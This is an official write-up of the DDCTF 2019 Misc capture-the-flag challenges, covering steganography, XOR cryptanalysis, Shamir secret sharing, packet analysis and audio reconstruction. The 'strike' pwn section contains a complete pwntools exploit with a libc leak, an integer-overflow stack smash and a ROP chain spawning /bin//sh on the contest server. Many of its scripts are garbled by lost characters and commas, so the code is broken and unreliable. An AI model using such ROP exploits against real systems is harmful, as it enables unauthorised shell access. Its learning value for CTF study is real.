【知识库】DDCTF2019官方Write Up——Misc篇

百家 作者:滴滴安全应急响应中心 2019-04-26 09:43:41

官方writeup公布时间线

对于没有被选手探索到的出题预设路径,出题人将现身说法,带来官方解读。


Misc作者介绍:****

哈尔滨工业大学 /研一/Misc Top1


文章目录

Misc  Write Up

0x01 :真-签到题

0x02 :北京地铁

0x03 :MulTzor

0x04 :[PWN] strike(内含出题人视角解析)

0x05 :Wireshark(内含出题人视角解析)

0x06 :联盟决策大会

0x07 :伪-声纹锁(内含出题人视角解析)


真-签到题

01

公告中给出flag:

DDCTF{returnDDCTF::get(2019)->flagOf(0);}

  北京地铁

02

给了一个bmp。图片分析,根据题目描述,应该是AES-ECB加密,目前通过低位隐写拿到了base64(ciphertext),密钥16bytes未知.hint:Color Threshold 则通过gimp2查看Color Threshold,仍然没有线索,等到hint:关注图片本身的时候,无意间看了图片,发现魏公村颜色不对,根据提示,可能是密钥。

pwn@7feilee:/mnt/c/Users/7feilee/Downloads$ zsteg color.bmp --all --limit 2048
/usr/lib/ruby/2.5.0/open3.rb:199: warning: Insecure world writable dir /home/pwn/.cargo/bin in PATH, mode 040777
imagedata           .. text: ")))XXX)))"
b1,rgb,lsb,xy       .. text: "iKk/Ju3vu4wOnssdIaUSrg=="

尝试解密:

cipher = base64.b64decode("iKk/Ju3vu4wOnssdIaUSrg==")
key = "weigongcun"
key =key+(16-len(key))*"x00"
print key
from Crypto.Cipher import  AES
aes =  AES.new(key, AES.MODE_ECB)
print aes.decrypt(cipher)
# weigongcun
# DDCTF{CD*Q23&0}

flag:DDCTF{CD*Q23&0}

MulTzor


03

题目提供的是hex,根据题目分析,可知是词频分析,本打算统计词频分析来做,想到了xortools,猜测词频中最常见的字符为0x20,即空格符。

txt = "38708d2a29ff535d9e3f20f85b40df3c3fab465b9a731ce55b54923279e85b4397362be25c54df2020f8465692733ce5535193363dab465b9a732eee41479a2137ab735f933a3cf8125a91730ee4405f9b730eea4013b61a79ff5d138d3638ef12408a312aff535d8b3a38e71252923c2ce54640df3c3fab7f5c8d203ca6515c9b363dab40529b3a36ab515c923e2ce55b509e2730e45c40df3c3fab465b9a7318f35b40df2336fc57418c732de35347df3b38ef12519a3637ab575d9c3a29e357419a3779fe415a913479ce5c5a983e38ab5f529c3b30e55740d1730de35b40df2a30ee5e579a3779e65b5f962738f94b13963d2dee5e5f96343ce55156df2431e2515bd37338e75d5d98732ee2465bdf2731ea4613992136e6125c8b3b3cf912579a302bf242479a3779ca4a5a8c732bea565a907338e556138b3635ee4241963d2dee40138b2138e5415e96202ae25d5d8c7f79fc5340df3430fd575ddf2731ee125090373ce5535e9a730ce746419e7d79df5a5a8c732eea41139c3c37f85b579a213cef125186732eee41479a2137ab61468f213ce65713be3f35e25757df1036e65f5291373cf91277883a3ee34613bb7d79ce5b409a3d31e445568d732de4125b9e253cab50569a3d79a956569c3a2ae24456dd732de41247973679ca5e5f96363dab445a9c2736f94b1df5590de35713ba3d30ec5f52df3e38e85a5a91362aab45568d3679ea12559e3e30e74b13903579fb5d418b323be757139c3a29e35741df3e38e85a5a91362aab455a8b3b79f95d47902179f851419e3e3be757418c7d79cc5d5c9b7336fb57419e2730e555138f2136e857578a213cf81e138f2136fb5741932a79ee5c5590213aee561fdf2436fe5e57df3b38fd571392323dee1247973679fb5e46983136ea4057df1637e2555e9e7334ea515b963d3cab475d9d213cea59529d3f3ca5127b90243cfd5741d37334e44147df3c3fab465b9a731eee405e9e3d79e65b5f962738f94b13993c2be85740d3732aee51419a2779f85741893a3aee41139e3d3dab515a893a35e2535ddf323eee5c5096362aab465b9e2779fe41569b731ce55b54923279ee5f43933c20ee56138f3c36f9125c8f362bea465a913479fb405c9c363dfe40568c7f79ea5c57df3a2dab45528c732de357409a7329e45d41df232be451569b262bee41138b3b38ff1252933f36fc5757df2731ee1276913a3ee6531392323ae35b5d9a2079ff5d139d3679f957459a212aee1f56913430e557568d363dab535d9b732de357139c3a29e357418c732de412519a732bee5357d15953df5a56df143cf95f52917329e747549d3c38f9561e9a222ce242439a3779ce5c5a983e38ab50569c3234ee127d9e2930ab75568d3e38e54b148c7329f95b5d9c3a29ea5e139c2120fb465cd22020f84656927d79c2461388322aab504190383ce5125186732de35713af3c35e2415bdf143ce557419e3f79d8465299357ef81270962331ee4013bd262bee5346df3a37ab76569c3634e95741df6260b8001fdf2430ff5a138b3b3cab535a9b7336ed12758d3637e85a1e8c2629fb5e5a9a3779e25c479a3f35e2555691303cab5f528b362be2535fdf3c3bff535a91363dab5441903e79ea12749a2134ea5c138c2320a51272df3e36e5465bdf313ced5d419a732de3571390262de940569e3879e45413a83c2be75613a8322bab7b7ad37338ff1252df3036e554568d3637e85713973635ef125d9a322bab65528d2038fc1e138b3b3cab625c933a2ae31270962331ee4013bd262bee5346df2031ea40569b7330ff4113ba3d30ec5f52d2312bee5358963d3eab46569c3b37e243469a2079ea5c57df273ce85a5d903f36ec4b13883a2de31247973679cd4056913031ab535d9b731bf95b47962031a512778a2130e555138b3b3cab75568d3e38e5125a912538f85b5c917336ed1263903f38e5561fdf3036f95713af3c35e2415bdf1030fb5a568d731bfe40569e2679fb57418c3c37e5575fdf243cf957139a2538e847528b363da71245963279d95d5e9e3d30ea1e138b3c79cd405291303cab455b9a213cab465b9a2a79ee41479e3135e2415b9a3779ff5a56df031aab70418a3d36ab415a983d38e74113963d2dee5e5f96343ce55156df202dea465a903d79fc5b4797731ff9575d9c3b79ed5350963f30ff5b568c732afe424390212da512608a303aee4140992635ab515c90233cf95347963c37ab535e903d3eab465b9a7309e45e568c7f79ff5a56df152bee5c50977f79ea5c57df2731ee12718d3a2de2415bdf322dab705f9a273ae35e56867309ea4058df3036e5465a91263cef1246912730e712798a3d3cab030acb6375ab455b9a3d79cd405291303cab41468d213ce556568d363dab465cdf2731ee12749a2134ea5c40d15953cd405c92732de35b40df313cec5b5d913a37ec1e138b3b3cab7041962730f85a13b83c2fee405d923637ff127090373cab535d9b731af2425b9a2179d8515b903c35ab1a74bc751ad81b139e2779c95e568b3031e7574adf0338f959139d2630e746138a2379ea5c139a2b2dee5c4096253cab514186232dea5c52932a2de251139c3229ea505a933a2df21c13b63d30ff5b52933f20a71247973679ef57508d2a29ff5b5c91732eea4113923230e55e4adf3c3fab7e4699272eea54559a7371cc5741923237ab535a8d733fe440509a7a79ea5c57df3279ed5744df1b3cee4013d7143cf95f52917338f95f4ad67334ee41409e343cf81e139e2079ff5a56df182be257548c3e38f95b5d9a7371cc5741923237ab5c52892a70ab575e8f3f36f25757df3e2ce85a13923c2bee12409a302cf957138f2136e857578a213cf81255902179fe415a913479ce5c5a983e38a51272933237ab66468d3a37ec1e139e731aea5f518d3a3dec5713aa3d30fd57418c3a2df2125e9e2731ee5f528b3a3ae2535ddf3237ef125f903430e85b52917f79fb405c893a3dee561392263ae3125c99732de35713902130ec5b5d9e3f79ff5a5a913830e555138b3b38ff125f9a3779ff5d138b3b3cab56568c3a3ee5125c99732de357139c2120fb4652913235f2465a9c3235ab505c92313cab5f529c3b30e55740df2731ea461388362bee125a91202df9475e9a3d2dea5e13963d79ee445691272cea5e5f86733bf95752943a37ec1247973679e553459e3f79ce5c5a983e38a5127b90243cfd5741d3732de35713b42130ee554092322be25c56df3a37ff405c9b263aee56139e3d79ce5c5a983e38ab44568d2030e45c13883a2de31252df3536fe404797732be4465c8d733fe4401396272aab671e9d3c38ff411fdf213cf8475f8b3a37ec125a917338ab4241903f36e555569b7329ee405a903779fc5a5691732de357409a7334ee41409e343cf81250902635ef125d902779e957139b363af94b438b363da51264962731ab465b9a733aea42478a213cab5d55df213ce757459e3d2dab515a8f3b3cf912589a2a2aab535d9b732de357138a203cab5d55df3e2ce85a1399322aff5741df060aab7c52892a79e95d5e9d362aa712419a342ce75341d3732bea425a9b732bee5357963d3eab5d55df0674e95d528b7334ee41409e343cf812419a202ce65757d15953df5a56df3535ea5513962063ab7677bc071ff002579c3638b806069d326dbd040bcf3169e90101cc3761ea0a02cf656db8570a82"
txt = txt.decode("hex")
print len(txt)
print len(set(txt))
open("xorout","wb").write(txt[1:])#xortools分析过一次,发现第一位是噪音干扰值,直接去除。
pwn@7feilee:/mnt/c/Users/7feilee$ xortool xorout -c 20
The most probable key lengths:
   3:   11.9%
   6:   19.7%
   9:   9.4%
  12:   14.5%
  15:   7.1%
  18:   11.2%
  21:   5.3%
  24:   8.4%
  30:   6.8%
  36:   5.7%
Key-length can be 3*n
1 possible key(s) of length 6:
3xffSYx8bw
Found 1 plaintexts with 95.0%+ printable characters
See files filename-key.csv, filename-char_used-perc_printable.csv
pwn@7feilee:/mnt/c/Users/7feilee$ xxd xortool_out/0.out
000000004372 7970 7424 6e61 6c79 7327320 6f66  Crypt$nalys,s of
000000102031 6865 2045 6e26766120 6327068   1he En,gma c,ph

发现明文中有1/6的字母是错误的,应该是key的一位有问题,找到原文https://en.wikipedia.org/wiki/Cryptanalysis_of_the_Enigma 

得到key:3xffSYx8b2 解密:

print repr(txt[:16])
data = open("xortool_out/0.out","rb").read()
print data
xxx = '''Cryptanalysis of the Enigma ciphering system enabled the western Allies in World War II to read substantial amounts of Morse-coded radio communications of the Axis powers that had been enciphered using Enigma machines. This yielded military intelligence which, along with that from other decrypted Axis radio and teleprinter transmissions, was given the codename Ultra. This was considered by western Supreme Allied Commander Dwight D. Eisenhower to have been "decisive" to the Allied victory.'''
out = ""
for i in range(0,493):
    out +=chr(ord(txt[i+1])^ord(xxx[i]))
print repr(out)
length = 2654
key = "3xffSYx8b2"
plain =""
for i in range(0,2654):
    plain +=chr(ord(txt[i+1])^ord(key[i%6]))
print plain

flag:

DDCTF{0dcea345ba46680b0b323d8a810643e9}

      [PWN] strike

04

本题是一道很基础的栈溢出的pwn题,leak libc基址然后rop即可。看了下大家的解答,大概有3到4解决方法,主要表现在leak libc的方式不同。就像题目名字一样strike,这仅仅是个开始,大家继续pwn pwn pwn吧。

--------------选手Write Up--------------

pwn题 静态分析:

 read(v2, &buf, 0x40u);return fprintf(a2, "Hello %s", &buf); 

这里可以泄露栈上的数据。

   v5 = &a1;
  setbuf(stdout, 0);
  sub_80485DB(stdin, stdout);
  sleep(1u);
  printf("Please set the length of password: ");
  nbytes = sub_804862D();
  if ( (signed int)nbytes > 63 )
  {
    puts("Too long!");
    exit(1);
  }
  printf("Enter password(lenth %u): ", nbytes);
  v1 = fileno(stdin);
  read(v1, &buf, nbytes);
  puts("All done, bye!");
  return 0;

nbytes是无符号数,(signed int)nbytes可以整数溢出,从而buffer overflow,栈不可执行,可以rop on libc.动态调试发现第一个泄露中有ebp地址,还有setbuf的地址。程序结尾代码段如下。

mov     eax, 0
lea     esp, [ebp-8]
pop     ecx
pop     ebx
pop     ebp
lea     esp, [ecx-4]
retn

通过调试,从而可以控制ecx,从而恢复esp。(通过之前泄露的ebp地址,调试发现最终的返回地址为ebp+8,所以之前的栈上数据覆盖为ebp+8+4,最终pop ecx,lea esp, [ecx-4],控制esp为原来的esp。从而可以pop esp,跳转到libc中,从而rop。脚本如下。

#-*- coding:utf-8
from pwn import *
from struct import pack
## remote libc
def rop(addr):
    p = ''
    p += pack(', addr+0x00001aa6# pop edx ; ret
    p += pack(', addr+0x001b0040# @ .data
    p += pack(', addr+0x00023f97# pop eax ; ret
    p += '/bin'
    p += pack(', addr+0x0006b34b# mov dword ptr [edx], eax ; ret
    p += pack(', addr+0x00001aa6# pop edx ; ret
    p += pack(', addr+0x001b0044# @ .data + 4
    p += pack(', addr+0x00023f97# pop eax ; ret
    p += '//sh'
    p += pack(', addr+0x0006b34b# mov dword ptr [edx], eax ; ret
    p += pack(', addr+0x00001aa6# pop edx ; ret
    p += pack(', addr+0x001b0048# @ .data + 8
    p += pack(', addr+0x0002c5fc# xor eax, eax ; ret
    p += pack(', addr+0x0006b34b# mov dword ptr [edx], eax ; ret
    p += pack(', addr+0x00018395# pop ebx ; ret
    p += pack(', addr+0x001b0040# @ .data
    p += pack(', addr+0x000b4047# pop ecx ; ret
    p += pack(', addr+0x001b0048# @ .data + 8
    p += pack(', addr+0x00001aa6# pop edx ; ret
    p += pack(', addr+0x001b0048# @ .data + 8
    p += pack(', addr+0x0002c5fc# xor eax, eax ; ret
    p += pack(', addr+0x00007eec# inc eax ; ret
    p += pack(', addr+0x00007eec# inc eax ; ret
    p += pack(', addr+0x00007eec# inc eax ; ret
    p += pack(', addr+0x00007eec# inc eax ; ret
    p += pack(', addr+0x00007eec# inc eax ; ret
    p += pack(', addr+0x00007eec# inc eax ; ret
    p += pack(', addr+0x00007eec# inc eax ; ret
    p += pack(', addr+0x00007eec# inc eax ; ret
    p += pack(', addr+0x00007eec# inc eax ; ret
    p += pack(', addr+0x00007eec# inc eax ; ret
    p += pack(', addr+0x00007eec# inc eax ; ret
    p += pack(', addr+0x00002c87# int 0x80
    return p
context.log_level = "debug"
libc = ELF('./libc.so.6')
setbuf = libc.symbols['setbuf']
p = remote("116.85.48.105"5005)
p.recvuntil("Enter username: ")
p.send("a"*60)
p.recv(66)
offset = u32(p.recv(4))-setbuf
p.recv(8)
ebp = u32(p.recv(4))
print hex(ebp)
print hex(offset)
p.recvuntil("Please set the length of password: ")
p.sendline("-1")
p.recv()
# payload = "a"*0x4c+rop(offset)
payload  = p32(ebp+8+4)*((0x4c+8)/4) + rop(offset)
print repr(payload)
# gdb.attach(p)
p.sendline(payload)
p.interactive()

flag:

DDCTF{s0_3asy_St4ck0verfl0w_r1ght?}

Wireshark


05

本题是对选手基本能力的考察,需要选手熟悉使用wireshark等流量分析工具,很多选手看到流量中的图片上传网址后,便想去破解相关网站的用户密码,试图去网站获得图片,殊不知踏破铁鞋无觅处,图片就在流量中。这种题目应该从整体出发,将流量中的种种行为通读一下,实际上选手通过分析流量中的种种蛛丝马迹,很容易发现思路:流量中有两个网址,一个是上传图片的网站,一个是图片解密网站,还有两个图片上传操作。通过查看图片解密网站,发现需要一个图片和秘钥,而流量中有两个图片,而且图片之一是一个key的样式,猜测其中有诈,通过恢复该图片的原始尺寸,便可获得隐藏其中的key,最后将另一个图片上传至解密网址,即可解密获得flag。

--------------选手Write Up--------------

wireshark数据包分析,通过分析TCP流,follow -> TCP steam,其中有图片(PNG头),搜索http contains flag,http contains DDCTF没有信息。http contains PNG发现三张图片,查看发现了一个interesting.png和upload.png,通过File -> export Object HTTP 和 010editor,可以拿到三张图片还有一些静态网站。

隐写分析,发现两张图片一样,猜测一张是图种,interesting.png是隐写后的图片,stegsolve分析,调整图片高度,和水印都没有结果,猜测跟upload.png有关系,是个key图样的图片,隐写分析通过调整图片高度,拿到key:gKvN4eEm。通过导出的静态网站中发现很多跟图片相关的网站,猜测可能是在线图片加解密,通过导出HTTP Object的信息,

http://tools.jb51.net/aideddesign/img_add_info可以加解密图片,测试在线解密

interesting.png。key为gKvN4eEm flag:flag+AHs-44444354467B786F6644646B65537537717335414443515256476D35464536617868455334377D+AH0-
print "44444354467B786F6644646B65537537717335414443515256476D35464536617868455334377D".decode("hex")
#DDCTF{xofDdkeSu7qs5ADCQRVGm5FE6axhES47}

flag:

DDCTF{xofDdkeSu7qs5ADCQRVGm5FE6axhES47}

联盟决策大会


06

考点:secret sharing, shamir 题目描述:至少A,B同时大于等于三个成员一起才能打开密钥,则分析一共有两次秘密分享,第一次分成了三份,A,B各一份,然后A,B分别分成了五份,然后分给A,B成员。则两次恢复即可。脚本参考http://mslc.ctf.su/wp/plaidctf-2012-nuclear-launch-detected-150-password-guessing/,代码如下:

import gmpy2
from Crypto.Util.number import long_to_bytes,bytes_to_long
p =0x85FE375B8CDB346428F81C838FCC2D1A1BCDC7A0A08151471B203CDDF015C6952919B1DE33F21FB80018F5EA968BA023741AAA50BE53056DE7303EF702216EE9
f11 =0x60E455AAEE0E836E518364442BFEAB8E5F4E77D16271A7A7B73E3A280C5E8FD142D3E5DAEF5D21B5E3CBAA6A5AB22191AD7C6A890D9393DBAD8230D0DC496964
f12 =0x6D8B52879E757D5CEB8CBDAD3A0903EEAC2BB89996E89792ADCF744CF2C42BD3B4C74876F32CF089E49CDBF327FA6B1E36336CBCADD5BE2B8437F135BE586BB1
f14 =0x74C0EEBCA338E89874B0D270C143523D0420D9091EDB96D1904087BA159464BF367B3C9F248C5CACC0DECC504F14807041997D86B0386468EC504A158BE39D7
f23 =0x560607563293A98D6D6CCB219AC74B99931D06F7DEBBFDC2AFCC360A12A97D9CA950475036497F44F41DC5492977F9B4A0E4C8E0368C7606B7B82C34F561525
f24 =0x445CCE871E61AD5FDE78ECE87C42219D5C9F372E5BEC90C4C4990D2F37755A4082C7B52214F897E4EC1B5FB4A296DBE5718A47253CC6E8EAF4584625D102CC62
f25 =0x4F148B40332ACCCDC689C2A742349AEBBF01011BA322D07AD0397CE0685700510A34BDC062B26A96778FA1D0D4AFAF9B0507CC7652B0001A2275747D518EDDF5
pairs = []
pairs += [(1, f11)]
pairs += [(2, f12)]
pairs += [(4, f14)]
pairs2 = []
pairs2 += [(3, f23)]
pairs2 += [(4, f24)]
pairs2 += [(5, f25)]
res1 = 0
for i, pair in enumerate(pairs):
    x, y = pair
    top = 1
    bottom = 1
    for j, pair in enumerate(pairs):
        if j == i:
            continue
        xj, yj = pair
        top = (top * (-xj)) % p
        bottom = (bottom * (x - xj)) % p
    res1 += (y * top * gmpy2.invert(bottom, p)) % p
    res1 %= p
print res1
res2 = 0
for i, pair in enumerate(pairs2):
    x, y = pair
    top = 1
    bottom = 1
    for j, pair in enumerate(pairs2):
        if j == i:
            continue
        xj, yj = pair
        top = (top * (-xj)) % p
        bottom = (bottom * (x - xj)) % p
    res2 += (y * top * gmpy2.invert(bottom, p)) % p
    res2 %= p
print res2
pairs3 = [(1,res1),(2,res2)]
res3 = 0
for i, pair in enumerate(pairs3):
    x, y = pair
    top = 1
    bottom = 1
    for j, pair in enumerate(pairs3):
        if j == i:
            continue
        xj, yj = pair
        top = (top * (-xj)) % p
        bottom = (bottom * (x - xj)) % p
    res3 += (y * top * gmpy2.invert(bottom, p)) % p
    res3 %= p
print res3
print repr(long_to_bytes(res3))
# 'DDCTF{nYrpbcscdNgqX63IdtnkLrq9FQvwfa2f}'

flag:

DDCTF{nYrpbcscdNgqX63IdtnkLrq9FQvwfa2f}

伪-声纹锁


07

其实这题是一个相当简单的题目,可以用一句话说明:给定傅里叶级数的系数计算原函数并采样成音频。原题给出的fingerprint实际上是音频的频谱图(Spectrogram)又称声指纹(Voiceprint)。
同学说的很对,影响质量的主要是采样频率低(香农采样定理),实测生成fingerprint时只要把音频sample rate(源码的sr)=30000时就可以得到较为清晰的原音频。出题时设为15000是想为了减少计算时间方便同学迭代,考虑到能根据单词猜出flag所以没考虑太多。除此以外,通过一些算法也可以弥补音频质量低的问题,比如说考虑到这是人声,可加入低通滤波器(比如<500Hz)来增强低频部分抗混叠,得到的音频也是能够听清所读的字母的。

--------------选手Write Up--------------

分析给的voice_lock文件,首先在限定的采样频率范围内进行傅里叶变换(首先采样频率范围小,在采样频率范围之内只有150个频率采样点,采样率低,导致还原的信号失真,混叠)。根据滑动窗口大小,进行傅里叶逆变换,得到较为失真的音频(虽然满足了calc_diff<3,但是仍然听不出flag) 分析过程:

还原音频程序:

import cmath
import librosa  # v0.6.2, maybe ffmpeg is needed as backend
import numpy as np  # v1.15.4
from scipy.fftpack import fft, ifft
import sys
from PIL import Image  # Pillow v5.4.1
import matplotlib.pyplot as plt

window_size = 2048
step_size = 100
max_lim = 0.15
f_ubound = 2000
f_bins = 150
sr = 15000

def transform_x(x, f_ubound=f_ubound, f_bins=f_bins):
    freqs = np.logspace(np.log10(20), np.log10(f_ubound), f_bins)
    seqs = []
    for f in freqs:
        seq = []
        d = cmath.exp(-2j * cmath.pi * f / sr)
        coeff = 1
        for t in range(0, len(x)):
            seq.append(x[t] * coeff)
            coeff *= d
        seqs.append(seq)
    sums = []
    for seq in seqs:
        X = [sum(seq[:window_size])/window_size]
        for t in range(step_size, len(x), step_size):
            X.append(X[-1]-sum(seq[t-step_size:t])/window_size)
            if t+window_size-step_size <  len(x):
                X[-1] += sum(seq[t+window_size-step_size:t +
                                 window_size])/window_size
        sums.append(X)
    return np.array(sums)

def calc_diff(x, spec):
    x = transform_x(x)
    print(x.shape)
    diff = 0
    for i in range(0, x.shape[0]):
        xx = np.abs(x[i])
        xx = np.round(linear_map(xx, np.min(
            xx), np.max(xx), 0255)).astype(np.uint8)
        sp = np.abs(spec[i])
        sp = np.round(linear_map(sp, np.min(
            sp), np.max(sp), 0255)).astype(np.uint8)
        diff += np.linalg.norm(xx-sp)
    return diff/x.shape[0]/x.shape[1]

freqs = np.logspace(np.log10(20), np.log10(f_ubound), f_bins)

N = 95000

def linear_map(v, old_dbound, old_ubound, new_dbound, new_ubound):
    return (v-old_dbound)*1.0/(old_ubound-old_dbound)*(new_ubound-new_dbound) + new_dbound

def image_to_array(img):
    img_arr = linear_map(np.array(img.getdata(), np.uint8).reshape(
        img.size[1], img.size[0], 3), 0255, -max_lim, max_lim)
    return img_arr[:, :, 1] + img_arr[:, :, 2] * 1j

C_fingerprint = image_to_array(Image.open('fingerprint.png'))

dataRecovered = [0 for i in range(N)]
dataRecoveredWriteCount = [0 for i in range(N)]

for windowStart in range(093000, step_size):
    print('loop(', windowStart, '/'93000')')
    xLen = 100

    F = []
    for i in range(len(freqs)):
        F.append((C_fingerprint[i][int(windowStart/100)]) *
                 cmath.exp(2j * cmath.pi * freqs[i] / sr * (100*int(windowStart/100))))

    xRecovered = []
    for n in range(100):
        result = 0
        for ad in range(len(freqs)):
            f = freqs[ad]
            fw = F[ad]
            result += fw * cmath.exp(2j * cmath.pi * f / sr * n)
        xRecovered.append(result)
    xRecovered = np.array(xRecovered)

    for ad in range(xLen):
        xr = xRecovered[ad]
        adAllocate = windowStart + ad
        dataRecovered[adAllocate] = (
            dataRecovered[adAllocate] * dataRecoveredWriteCount[adAllocate] + xr) / (dataRecoveredWriteCount[adAllocate] + 1)
        dataRecoveredWriteCount[adAllocate] += 1
dataRecovered = np.real(dataRecovered)
out = []
librosa.output.write_wav("recovered.wav", dataRecovered, sr)

for i in range(0150):
    out.append([C_fingerprint[i][j] for j in range(0950)])
out = np.array(out)
print(calc_diff(dataRecovered, out))

print('done!')

得到音频文件,跟官方人员沟通提交脚本和还原的音频后,得到flag:DDCTF{VOICE_ENCODED_TEST}

————— End —————

    延伸阅读    

【知识库】DDCTF2019官方Write Up——Android篇

【知识库】DDCTF2019官方Write Up——Reverse篇

官网题目仍开放访问,点击“阅读原文“前往

    关于漏洞    

滴滴出行相关漏洞请提交至

http://sec.didichuxing.com/

关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接